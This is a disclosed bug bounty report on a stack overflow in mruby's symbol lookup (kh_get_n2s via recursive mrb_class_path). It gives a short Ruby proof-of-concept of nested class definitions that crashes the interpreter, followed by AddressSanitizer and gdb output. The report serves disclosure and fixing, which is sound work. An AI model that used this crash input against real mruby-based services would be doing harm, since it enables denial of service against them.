shopify-scripts · Report #192578
kh_get_n2s() stack overrun
Validstatus
lowseverity
8upvotes
9 Mar 2017disclosed
How it was found
Defining recursive classes could lead to a stack overrun in kh_get_n2s,
POC
With this code we can achieve a stack overflow
class<<Proc
class P class<<Proc
class P class P t end end
end end end
Debug analysis
simo@vlab64:~/sources/mruby/bin/mruby/% cat CR1.rb | ../mruby_asan
ASAN:DEADLYSIGNAL
=================================================================
==99188==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd22656fc8 (pc 0x000000431cd0 bp 0x7ffd22657850 sp 0x7ffd22656fd0 T0)
#0 0x431ccf in __interceptor_memcmp (/home/simo/sources/mruby/bin/fuzz_mruby/mruby_asan+0x431ccf)
#1 0x534636 in kh_get_n2s /home/simo/sources/mruby_libF/src/symbol.c:37:1
#2 0x5363d2 in sym_intern /home/simo/sources/mruby_libF/src/symbol.c:62:9
#3 0x524fc5 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1562:23
#4 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#5 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#6 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#7 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#8 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#9 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#10 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#11 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#12 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#13 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#14 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#15 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#16 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#17 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#18 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#19 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#20 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#21 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#22 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#23 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#24 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#25 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#26 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#27 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#28 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#29 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#30 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#31 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#32 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#33 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#34 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#35 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#36 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#37 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#38 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#39 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#40 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#41 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#42 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#43 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#44 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#45 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#46 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#47 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#48 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#49 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#50 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#51 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#52 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#53 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#54 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#55 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#56 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#57 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#58 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#59 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#60 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#61 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#62 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#63 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#64 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#65 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#66 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#67 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#68 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#69 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#70 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#71 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#72 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#73 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#74 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#75 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#76 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#77 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#78 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#79 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#80 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#81 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#82 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#83 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#84 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#85 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#86 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#87 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#88 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#89 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#90 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#91 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#92 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#93 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#94 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#95 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#96 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#97 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#98 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#99 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#100 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#101 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#102 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#103 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#104 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#105 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#106 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#107 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#108 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#109 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#110 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#111 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#112 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#113 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#114 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#115 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
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#126 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#127 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#128 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#129 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#130 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#131 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
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#133 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#134 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#135 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
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#202 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#203 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#204 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#205 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#206 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#207 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#208 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#209 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#210 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#211 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#212 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#213 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#214 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#215 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#216 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#217 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#218 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#219 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#220 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#221 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#222 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#223 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#224 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#225 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#226 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#227 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#228 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#229 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#230 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#231 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#232 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#233 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#234 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#235 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#236 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#237 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#238 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#239 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#240 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#241 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#242 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#243 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#244 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#245 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#246 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#247 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#248 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
#249 0x525110 in mrb_class_path /home/simo/sources/mruby_libF/src/class.c:1574:24
SUMMARY: AddressSanitizer: stack-overflow (/home/simo/sources/mruby/bin/mruby/mruby_asan+0x431ccf) in __interceptor_memcmp
==99188==ABORTING
(gdb) r < CR1.rb
Starting program: /home/simo/sources/mruby/bin/mruby/mruby < CR1.rb
Program received signal SIGSEGV, Segmentation fault.
0x0000000000413b9d in sym_hash_func (mrb=<error reading variable: Cannot access memory at address 0x7fffff7fefd8>, s=<error reading variable: Cannot access memory at address 0x7fffff7fefd4>)
at /home/simo/sources/patch/mruby/src/symbol.c:24
24 {
(gdb) x/5i $pc
=> 0x413b9d <sym_hash_func+4>: mov %rdi,-0x28(%rbp)
0x413ba1 <sym_hash_func+8>: mov %esi,-0x2c(%rbp)
0x413ba4 <sym_hash_func+11>: movl $0x0,-0x1c(%rbp)
0x413bab <sym_hash_func+18>: mov -0x28(%rbp),%rax
0x413baf <sym_hash_func+22>: mov 0x158(%rax),%rax
(gdb) x/x $rbp-0x28
0x7fffff7fefd8: Cannot access memory at address 0x7fffff7fefd8
(gdb) bt 10
#0 0x0000000000413b9d in sym_hash_func (mrb=<error reading variable: Cannot access memory at address 0x7fffff7fefd8>, s=<error reading variable: Cannot access memory at address 0x7fffff7fefd4>)
at /home/simo/sources/patch/mruby/src/symbol.c:24
#1 0x0000000000413e4f in kh_get_n2s (mrb=0x6af010, h=0x6bb590, key=0) at /home/simo/sources/patch/mruby/src/symbol.c:37
#2 0x000000000041465d in sym_intern (mrb=0x6af010, name=0x46c25f "__classid__", len=11, lit=1 '\001') at /home/simo/sources/patch/mruby/src/symbol.c:62
#3 0x00000000004148b0 in mrb_intern_static (mrb=0x6af010, name=0x46c25f "__classid__", len=11) at /home/simo/sources/patch/mruby/src/symbol.c:101
#4 0x0000000000404fcb in mrb_class_sym (mrb=0x6af010, c=0x6bb330, outer=0x6b21b0) at /home/simo/sources/patch/mruby/src/variable.c:1174
#5 0x0000000000410bb5 in mrb_class_path (mrb=0x6af010, c=0x6bb330) at /home/simo/sources/patch/mruby/src/class.c:1567
#6 0x0000000000410bf8 in mrb_class_path (mrb=0x6af010, c=0x6b21b0) at /home/simo/sources/patch/mruby/src/class.c:1574
#7 0x0000000000410bf8 in mrb_class_path (mrb=0x6af010, c=0x6bb330) at /home/simo/sources/patch/mruby/src/class.c:1574
#8 0x0000000000410bf8 in mrb_class_path (mrb=0x6af010, c=0x6b21b0) at /home/simo/sources/patch/mruby/src/class.c:1574
#9 0x0000000000410bf8 in mrb_class_path (mrb=0x6af010, c=0x6bb330) at /home/simo/sources/patch/mruby/src/class.c:1574
(More stack frames follow...)
(gdb)